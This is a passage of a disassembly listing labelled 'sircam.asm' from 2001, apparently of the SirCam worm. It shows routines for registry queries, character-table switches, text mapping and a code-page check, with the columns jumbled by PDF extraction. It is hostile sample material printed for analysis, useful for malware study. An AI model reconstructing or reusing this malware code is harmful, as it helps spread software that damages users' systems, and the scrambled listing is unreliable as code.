ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40EA70 proc near var_C var_8 var_4 arg_0 arg_4 = = = = = dword ptr -0Ch byte ptr -8 dword ptr -4 dword ptr 8 byte ptr 0Ch ; CODE XREF: sub_40E990+38\030p push mov add push push push mov mov mov xor mov lea push push lea push push ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi edi, ecx esi, edx ebx, eax eax, eax [ebp+var_4], eax eax, [ebp+arg_4] eax edi eax, [ebp+var_4] eax 0 sircam.asm Fri Aug 10 12:42:44 2001 mov call push mov push call test jz mov mov lea push push mov mov mov call call loc_40EAC8: sub_40EA70 mov mov call mov mov mov pop pop pop mov pop retn endp 419 eax, esi sub_4038E8 eax eax, [ebx+4] eax j_RegQueryValueExA_0 eax, eax short loc_40EAC8 [ebp+var_C], esi [ebp+var_8], 0Bh eax, [ebp+var_C] eax 0 ecx, ds:off_41DC90 dl, 1 eax, ds:off_40E564 sub_409548 sub_402F98 ; CODE XREF: sub_40EA70+32\030j ebx, dword ptr [ebp+arg_4] eax, [ebp+var_4] sub_40E69C edx, [ebp+arg_0] [edx], al eax, ebx edi esi ebx esp, ebp ebp 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40EAE4 sub_40EAE4 proc near ; CODE XREF: sub_415EAC+98\031p add esp, 0FFFFFFF8h mov ecx, esp call sub_40E8EC pop ecx pop edx retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_40EAFC dd 30h, 0FFFFFFFFh, 1, 31h ; DATA XREF: DATA:0041C2F8\031o ; DATA:0041C2FC\031o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40EB0C proc near ; DATA XREF: CODE:0041A938\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40EB48 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E648 jnz short loc_40EB3A mov eax, offset off_41C2F8 sircam.asm Fri Aug 10 12:42:44 2001 420 mov mov call ecx, 2 edx, ds:off_401000 sub_403BE8 xor pop pop pop mov push ; CODE XREF: sub_40EB0C+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40EB4F loc_40EB3A: locret_40EB47: ; CODE XREF: sub_40EB0C+41\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EB48: ; DATA XREF: sub_40EB0C+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40EB47 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EB4F: sub_40EB0C ; CODE XREF: sub_40EB0C+3B\030j ; DATA XREF: sub_40EB0C+36\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40EB54: ; DATA XREF: CODE:0041A934\031o sub ds:dword_41E648, 1 retn ; [00000006 BYTES: COLLAPSED FUNCTION j_ExtractIconA. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40EB64 proc near ; DATA XREF: CODE:0041A940\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40EB89 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E64C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40EB90 locret_40EB88: ; CODE XREF: sub_40EB64+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EB89: ; DATA XREF: sub_40EB64+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40EB88 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EB90: ; CODE XREF: sub_40EB64+24\030j ; DATA XREF: sub_40EB64+1F\030o pop ebp sircam.asm sub_40EB64 Fri Aug 10 12:42:44 2001 421 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40EB94: sub retn ; DATA XREF: CODE:0041A93C\031o ds:dword_41E64C, 1 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40EB9C proc near ; CODE XREF: sub_40EBC4+70\031p ; sub_40EBC4+83\031p ... push mov push push push mov mov mov ebp ebp, ebx esi edi esi, edx, ebx, mov mov add add dec jnz pop pop pop pop retn endp di, [edx] [ebx], di ebx, 2 edx, 2 esi short loc_40EBAB edi esi ebx ebp 4 esp 80h eax ecx loc_40EBAB: sub_40EB9C ; CODE XREF: sub_40EB9C+1C\031j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40EBC4 proc near ; CODE XREF: sub_40EDA4+3E\031p ; sub_40EDA4+51\031p and eax, 7Fh cmp eax, 13h ; switch 20 cases ja locret_40EDA2 ; default jmp ds:off_40EBD7[eax*4] ; switch jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_40EBD7 dd offset loc_40EC27 ; DATA XREF: sub_40EBC4+C\030r dd offset loc_40EC3A ; jump table for switch statement dd offset loc_40EC4D dd offset loc_40EC60 dd offset loc_40EC73 dd offset loc_40EC86 dd offset loc_40EC99 dd offset loc_40ECAC dd offset loc_40ECBF dd offset loc_40ECD2 dd offset loc_40ECE5 dd offset loc_40ECF8 dd offset loc_40ED0B dd offset loc_40ED1E dd offset loc_40ED31 dd offset loc_40ED44 dd offset loc_40ED57 dd offset loc_40ED6A sircam.asm Fri Aug 10 12:42:44 2001 422 dd offset loc_40ED7D dd offset loc_40ED90 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EC27: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x0 eax, offset unk_41C300 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EC3A: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x1 eax, offset unk_41C400 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EC4D: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x2 eax, offset unk_41C500 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EC60: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x3 eax, offset unk_41C600 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EC73: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x4 eax, offset unk_41C700 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EC86: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x5 eax, offset unk_41C800 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EC99: push mov mov mov ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x6 eax, offset unk_41C900 ecx, edx edx, 7Fh sircam.asm Fri Aug 10 12:42:44 2001 423 call sub_40EB9C retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ECAC: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x7 eax, offset unk_41CA00 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ECBF: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x8 eax, offset unk_41CB00 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ECD2: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x9 eax, offset unk_41CC00 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ECE5: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0xa eax, offset unk_41CD00 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ECF8: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0xb eax, offset unk_41CE00 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ED0B: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0xc eax, offset unk_41CF00 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ED1E: push mov mov mov ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0xd eax, offset unk_41D000 ecx, edx edx, 7Fh sircam.asm Fri Aug 10 12:42:44 2001 424 call sub_40EB9C retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ED31: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0xe eax, offset unk_41D100 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ED44: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0xf eax, offset unk_41D200 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ED57: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x10 eax, offset unk_41D300 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ED6A: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x11 eax, offset unk_41D400 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ED7D: ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x12 eax, offset unk_41D500 ecx, edx edx, 7Fh sub_40EB9C push mov mov mov call retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ED90: push mov mov mov call locret_40EDA2: sub_40EBC4 retn endp ; CODE XREF: sub_40EBC4+C\030j ; DATA XREF: sub_40EBC4+13\030o ecx ; case 0x13 eax, offset unk_41D600 ecx, edx edx, 7Fh sub_40EB9C ; CODE XREF: sub_40EBC4+6\030j ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 425 ; Attributes: bp-based frame sub_40EDA4 proc near var_214 var_210 var_110 var_10 var_C var_5 var_4 arg_0 = = = = = = = = ; CODE XREF: sub_40F230+A1\031p ; sub_4118CC+EF\031p ... dword ptr -214h word ptr -210h byte ptr -110h dword ptr -10h dword ptr -0Ch byte ptr -5 dword ptr -4 dword ptr 8 push mov add push push xor mov mov mov mov mov call xor push push push mov lea mov mov call lea mov mov call mov call mov call test jle mov mov ebp ebp, esp esp, 0FFFFFDECh ebx esi ebx, ebx [ebp+var_214], ebx [ebp+var_5], cl ebx, edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_40EE9C dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_110] ecx, 7Fh eax, ebx sub_40EBC4 edx, [ebp+var_210] ecx, 7Fh al, [ebp+var_5] sub_40EBC4 eax, [ebp+arg_0] sub_4034C8 eax, [ebp+var_4] sub_403724 eax, eax short loc_40EE7B [ebp+var_10], eax [ebp+var_C], 1 mov mov mov cmp jbe xor mov mov mov mov lea ; CODE XREF: sub_40EDA4+D5\031j eax, [ebp+var_4] edx, [ebp+var_C] bl, [eax+edx-1] bl, 80h short loc_40EE55 eax, eax al, bl si, [ebp+eax*2+var_210] bl, 5Fh edx, 80h eax, [ebp+var_210] loc_40EE18: loc_40EE40: ; CODE XREF: sub_40EDA4+AF\031j cmp si, [eax] jnz short loc_40EE49 mov ebx, edx jmp short loc_40EE55 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EE49: ; CODE XREF: sub_40EDA4+9F\030j sircam.asm Fri Aug 10 12:42:44 2001 inc add cmp jnz edx eax, 2 edx, 100h short loc_40EE40 lea mov call mov mov call mov inc dec jnz ; CODE XREF: sub_40EDA4+81\030j ; sub_40EDA4+A3\030j eax, [ebp+var_214] edx, ebx sub_403670 edx, [ebp+var_214] eax, [ebp+arg_0] sub_40372C eax, [ebp+arg_0] [ebp+var_C] [ebp+var_10] short loc_40EE18 xor pop pop pop mov push ; CODE XREF: sub_40EDA4+68\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40EEA3 loc_40EE55: loc_40EE7B: loc_40EE88: sub_40EDA4 426 ; CODE XREF: CODE:0040EEA1\031j lea eax, [ebp+var_214] call sub_4034C8 lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -224h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EE9C: ; DATA XREF: sub_40EDA4+26\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40EE88 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EEA3: ; DATA XREF: sub_40EDA4+DF\030o pop esi pop ebx mov esp, ebp pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40EEAC proc near call mov cmp jnz mov j_GetACP dl, 0Ch eax, 4E2h short loc_40EEBC dl, 0Ah cmp jnz mov eax, 4E3h short loc_40EEC5 dl, 0Bh cmp jnz eax, 4E5h short loc_40EECE ; CODE XREF: sub_411838+39\031p ; sub_412240+2D\031p ... loc_40EEBC: ; CODE XREF: sub_40EEAC+C\030j loc_40EEC5: ; CODE XREF: sub_40EEAC+15\030j sircam.asm Fri Aug 10 12:42:44 2001 mov dl, 0Dh cmp jnz mov eax, 4E6h short loc_40EED7 dl, 0Eh cmp jnz mov eax, 4E7h short loc_40EEE0 dl, 0Fh cmp jnz mov eax, 4E8h short loc_40EEE9 dl, 10h cmp jnz mov eax, 4E9h short loc_40EEF2 dl, 11h cmp jnz mov eax, 4EAh short loc_40EEFB dl, 12h mov retn endp eax, edx loc_40EECE: ; CODE XREF: sub_40EEAC+1E\030j loc_40EED7: ; CODE XREF: sub_40EEAC+27\030j loc_40EEE0: ; CODE XREF: sub_40EEAC+30\030j loc_40EEE9: ; CODE XREF: sub_40EEAC+39\030j loc_40EEF2: ; CODE XREF: sub_40EEAC+42\030j loc_40EEFB: sub_40EEAC 427 ; CODE XREF: sub_40EEAC+4B\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40EF00 proc near ; CODE XREF: sub_4118CC+2F5\031p ; sub_412048+B6\031p push ebx mov ebx, edx and eax, 7Fh cmp eax, 13h ; switch 20 cases ja loc_40F070 ; default jmp ds:off_40EF16[eax*4] ; switch jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_40EF16 dd offset loc_40F070 ; DATA XREF: sub_40EF00+F\030r dd offset loc_40EF66 ; jump table for switch statement dd offset loc_40EF74 dd offset loc_40EF82 dd offset loc_40EF90 dd offset loc_40EF9E dd offset loc_40EFAC dd offset loc_40EFBA dd offset loc_40EFC8 dd offset loc_40EFD6 dd offset loc_40EFE4 dd offset loc_40EFF2 dd offset loc_40F000 dd offset loc_40F00E dd offset loc_40F01C dd offset loc_40F02A dd offset loc_40F038 dd offset loc_40F046 dd offset loc_40F054 dd offset loc_40F062 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EF66: ; CODE XREF: sub_40EF00+F\030j sircam.asm Fri Aug 10 12:42:44 2001 428 ; DATA XREF: sub_40EF00+16\030o mov eax, ebx ; case 0x1 mov edx, offset dword_40F088 call sub_40351C pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EF74: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x2 edx, offset dword_40F09C sub_40351C ebx mov mov call pop retn ; 